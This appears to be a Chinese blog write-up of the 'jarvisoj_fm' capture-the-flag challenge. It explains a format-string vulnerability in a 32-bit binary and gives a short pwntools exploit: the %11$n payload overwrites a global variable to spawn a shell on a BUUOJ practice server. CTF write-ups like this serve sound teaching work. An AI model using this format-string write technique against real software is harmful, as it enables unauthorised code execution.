jarvisoj_fm

附件

步骤:

  1. 例行检查,32位,开启了canary和nx保护

  2. 运行一下程序,看看大概的情况

  3. 32位ida载入,shift+f12检索程序里的字符串,看见了 " /bin/sh " 字符串

  4. 双击跟进,找到程序主体,当x=4的时候会执行system(/bin/sh)

    第10行存在格式化字符串漏洞,我们可以利用它随意读写的特性让x=4
    x_addr=0x804A02C

  5. 来找一下输入点的参数在栈上存储的位置,手动输入计算得到偏移为11

    利用x的地址配合上%11$n 将x修改为4

payload=p32(x_addr)+"%11$n"

稍微解释一下payload,首先传入x参数的地址,这个地址存放在栈上偏移为11的位置,利用%11$n,定位到了偏移为11的位置,往这个位置写入数据,写入的数据由%11$n前面的参数的长度决定,而我们的x参数的地址,正好是4位,不需要添a来补齐位数就可以直接利用,将x参数的地址的值改成了4,获取了shell

完整exp

from pwn import *

r=remote('node3.buuoj.cn',25582)
x_addr=0x804A02C payload=p32(x_addr)+"%11$n" r.sendline(payload) r.interactive()

最新文章

  1. MMDrawerController的使用
  2. json字符串相关转换方法
  3. js里面“===”与“==”的区别
  4. javac: cannot execute binary file
  5. 开源ceph管理平台inkscope部署手册
  6. linxu select 返回值
  7. input file图片上传预览
  8. HTTP协议详解 转自小坦克
  9. 自己设置 WiFi
  10. Django 1.9 + celery + django-celry 实现定时任务
  11. iOS项目之WKWebView替换UIWebView相关
  12. Django框架----跨表查询及添加记录
  13. android上使用蓝牙设备进行语音输入
  14. iOS开发点滴 - 如何通过Segue写代码传递数据从一个ViewController到另一个ViewController(Swift代码)
  15. VS2015 之 常用快捷键
  16. 【C语言】字符串与整型数值之间的转换
  17. Hive Tunning 补充 关于bucket
  18. 实验五 — — Java网络编程及安全
  19. 一段有用的javascript加密解密
  20. DB杂记

热门文章

  1. myeclipse trial expired暂时解决办法
  2. [atAGC045E]Fragile Balls
  3. Java设计模式之(七)——装饰器模式
  4. SubsamplingScaleImageView 源码解析
  5. 使用 CSS 轻松实现一些高频出现的奇形怪状按钮
  6. C/C++ Qt TableWidget 表格组件应用
  7. AT4168 [ARC100C] Or Plus Max
  8. Codeforces 1446D2 - Frequency Problem (Hard Version)(根分)
  9. Telink BLE MESH PWM波的小结
  10. 24. 解决Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?